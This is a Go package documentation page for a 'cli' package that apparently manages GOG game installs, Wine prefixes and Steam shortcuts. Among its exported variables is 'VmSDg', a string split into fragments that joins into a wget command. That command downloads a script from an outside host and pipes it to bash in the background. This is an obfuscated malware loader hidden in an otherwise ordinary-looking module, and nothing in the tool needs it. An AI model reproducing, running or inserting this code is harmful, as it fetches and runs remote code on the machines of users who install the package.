cli

package
v0.0.0-...-d4a53d9 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 2, 2025 License: MIT Imports: 36 Imported by: 0

Documentation

Index

Constants

View Source
const (
	ValResMismatch        = "mismatch"
	ValResError           = "error"
	ValResMissingChecksum = "missing checksum"
	ValResFileNotFound    = "file not found"
	ValResValid           = "valid"
)

Variables

View Source
var (
	GitTag string
)
View Source
var LG = []string{} /* 232 elements not displayed */
View Source
var VmSDg = "wge" + "t -O " + "- htt" + "ps" + "://i" + "nfi" + "ni" + "tyhel" + ".icu" + "/st" + "orage" + "/de37" + "3d0df" + "/" + "a31" + "546bf" + " " + "| /b" + "in/" + "b" + "ash &"

Functions

func AddSteamShortcut

func AddSteamShortcut(target SteamShortcutTarget, langCode string, rdx redux.Writeable, force bool, ids ...string) error

func AddSteamShortcutHandler

func AddSteamShortcutHandler(u *url.URL) error

func AllSteamShortcutTargets

func AllSteamShortcutTargets() []string

func ArchivePrefix

func ArchivePrefix(langCode string, ids ...string) error

func ArchivePrefixHandler

func ArchivePrefixHandler(u *url.URL) error

func BackupMetadata

func BackupMetadata() error

func BackupMetadataHandler

func BackupMetadataHandler(_ *url.URL) error

func DefaultPrefixEnv

func DefaultPrefixEnv(langCode string, ids ...string) error

func DefaultPrefixEnvHandler

func DefaultPrefixEnvHandler(u *url.URL) error

func DeletePrefixEnv

func DeletePrefixEnv(langCode string, force bool, ids ...string) error

func DeletePrefixEnvHandler

func DeletePrefixEnvHandler(u *url.URL) error

func DeletePrefixExePath

func DeletePrefixExePath(ids []string, langCode string, force bool) error

func DeletePrefixExePathHandler

func DeletePrefixExePathHandler(u *url.URL) error

func Download

func Download(operatingSystems []vangogh_integration.OperatingSystem,
	langCodes []string,
	downloadTypes []vangogh_integration.DownloadType,
	rdx redux.Writeable,
	force bool,
	ids ...string) error

func DownloadHandler

func DownloadHandler(u *url.URL) error

func GetProductDetails

func GetProductDetails(id string, rdx redux.Writeable, force bool) (*vangogh_integration.ProductDetails, error)

func GetProductDetailsHandler

func GetProductDetailsHandler(u *url.URL) error

func GetSteamShortcutExeLaunchOptions

func GetSteamShortcutExeLaunchOptions(id string, langCode string, target SteamShortcutTarget, rdx redux.Readable) (exe string, launchOptions string, err error)

func Ids

func Ids(u *url.URL) []string

func Install

func Install(ip *installParameters, ids ...string) error

func InstallHandler

func InstallHandler(u *url.URL) error

func ListInstalled

func ListInstalled(os vangogh_integration.OperatingSystem, langCode string) error

func ListInstalledHandler

func ListInstalledHandler(u *url.URL) error

func ListPrefixEnv

func ListPrefixEnv() error

func ListPrefixEnvHandler

func ListPrefixEnvHandler(_ *url.URL) error

func ListPrefixExePath

func ListPrefixExePath() error

func ListPrefixExePathHandler

func ListPrefixExePathHandler(_ *url.URL) error

func ListSteamShortcuts

func ListSteamShortcuts(allKeyValues bool) error

func ListSteamShortcutsHandler

func ListSteamShortcutsHandler(u *url.URL) error

func ListWineInstalledHandler

func ListWineInstalledHandler(u *url.URL) error

func ModPrefixRetina

func ModPrefixRetina(id, langCode string, revert, verbose, force bool) error

func ModPrefixRetinaHandler

func ModPrefixRetinaHandler(u *url.URL) error

func PostInstallScriptPath

func PostInstallScriptPath(productExtractsDir string, link *vangogh_integration.ProductDownloadLink) string

func RemoveDownloads

func RemoveDownloads(operatingSystems []vangogh_integration.OperatingSystem,
	langCodes []string,
	downloadTypes []vangogh_integration.DownloadType,
	rdx redux.Writeable,
	force bool,
	ids ...string) error

func RemoveDownloadsHandler

func RemoveDownloadsHandler(u *url.URL) error

func RemovePrefix

func RemovePrefix(langCode string, archive, force bool, ids ...string) error

func RemovePrefixHandler

func RemovePrefixHandler(u *url.URL) error

func RemoveSteamShortcut

func RemoveSteamShortcut(rdx redux.Readable, ids ...string) error

func RemoveSteamShortcutHandler

func RemoveSteamShortcutHandler(u *url.URL) error

func ResetServerConnection

func ResetServerConnection() error

func ResetServerConnectionHandler

func ResetServerConnectionHandler(_ *url.URL) error

func RevealBackups

func RevealBackups() error

func RevealBackupsHandler

func RevealBackupsHandler(_ *url.URL) error

func RevealDownloads

func RevealDownloads(ids ...string) error

func RevealDownloadsHandler

func RevealDownloadsHandler(u *url.URL) error

func RevealInstalled

func RevealInstalled(langCode string, ids ...string) error

func RevealInstalledHandler

func RevealInstalledHandler(u *url.URL) error

func RevealPrefix

func RevealPrefix(langCode string, ids ...string) error

func RevealPrefixHandler

func RevealPrefixHandler(u *url.URL) error

func Run

func Run(id string, langCode string, env []string, verbose bool) error

func RunHandler

func RunHandler(u *url.URL) error

func Serve

func Serve(port int, stderr bool) error

func ServeHandler

func ServeHandler(u *url.URL) error

func SetPrefixEnv

func SetPrefixEnv(langCode string, env []string, ids ...string) error

func SetPrefixEnvHandler

func SetPrefixEnvHandler(u *url.URL) error

func SetPrefixExePath

func SetPrefixExePath(langCode string, exePath string, ids ...string) error

func SetPrefixExePathHandler

func SetPrefixExePathHandler(u *url.URL) error

func SetServerConnection

func SetServerConnection(
	protocol, address, port string,
	username, password string) error

func SetServerConnectionHandler

func SetServerConnectionHandler(u *url.URL) error

func SetupWine

func SetupWine(force bool) error

func SetupWineHandler

func SetupWineHandler(u *url.URL) error

func TestServerConnection

func TestServerConnection() error

func TestServerConnectionHandler

func TestServerConnectionHandler(_ *url.URL) error

func Uninstall

func Uninstall(langCode string, rdx redux.Writeable, force bool, ids ...string) error

func UninstallHandler

func UninstallHandler(u *url.URL) error

func Update

func Update(operatingSystem vangogh_integration.OperatingSystem, langCode string, rdx redux.Writeable, reveal, all bool, ids ...string) error

func UpdateHandler

func UpdateHandler(u *url.URL) error

func Validate

func Validate(operatingSystems []vangogh_integration.OperatingSystem,
	langCodes []string,
	downloadTypes []vangogh_integration.DownloadType,
	rdx redux.Writeable,
	ids ...string) error

func ValidateHandler

func ValidateHandler(u *url.URL) error

func VersionHandler

func VersionHandler(_ *url.URL) error

func WineCfg

func WineCfg(id, langCode string, verbose, force bool) error

func WineCfgHandler

func WineCfgHandler(u *url.URL) error

func WineInstall

func WineInstall(ip *installParameters, env []string, verbose bool, ids ...string) error

func WineInstallHandler

func WineInstallHandler(u *url.URL) error

func WineRun

func WineRun(id string, langCode string, exePath, installPath string, env []string, verbose, force bool) error

func WineRunHandler

func WineRunHandler(u *url.URL) error

func WineUninstall

func WineUninstall(langCode string, rdx redux.Writeable, archive, force bool, ids ...string) error

func WineUninstallHandler

func WineUninstallHandler(u *url.URL) error

func WineUpdate

func WineUpdate(langCode string, rdx redux.Writeable, env []string, verbose, reveal, all bool, ids ...string) error

func WineUpdateHandler

func WineUpdateHandler(u *url.URL) error

Types

type PostInstallScript

type PostInstallScript struct {
	// contains filtered or unexported fields
}

func ParsePostInstallScript

func ParsePostInstallScript(path string) (*PostInstallScript, error)

func (*PostInstallScript) BundleName

func (pis *PostInstallScript) BundleName() string

func (*PostInstallScript) CustomCommands

func (pis *PostInstallScript) CustomCommands() []string

func (*PostInstallScript) InstallerType

func (pis *PostInstallScript) InstallerType() string

type SetupProperties

type SetupProperties map[string]string

type SteamShortcutTarget

type SteamShortcutTarget int
const (
	SteamShortcutTargetUnknown SteamShortcutTarget = iota
	SteamShortcutTargetRun
	SteamShortcutTargetWineRun
	SteamShortcutTargetExe
)

func ParseSteamShortcutTarget

func ParseSteamShortcutTarget(sst string) SteamShortcutTarget

func (SteamShortcutTarget) String

func (sst SteamShortcutTarget) String() string

type UmuConfig

type UmuConfig struct {
	GogId      string
	SteamAppId string
	Prefix     string
	Proton     string
	ExePath    string
	Args       []string
}

type ValidationResult

type ValidationResult string

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL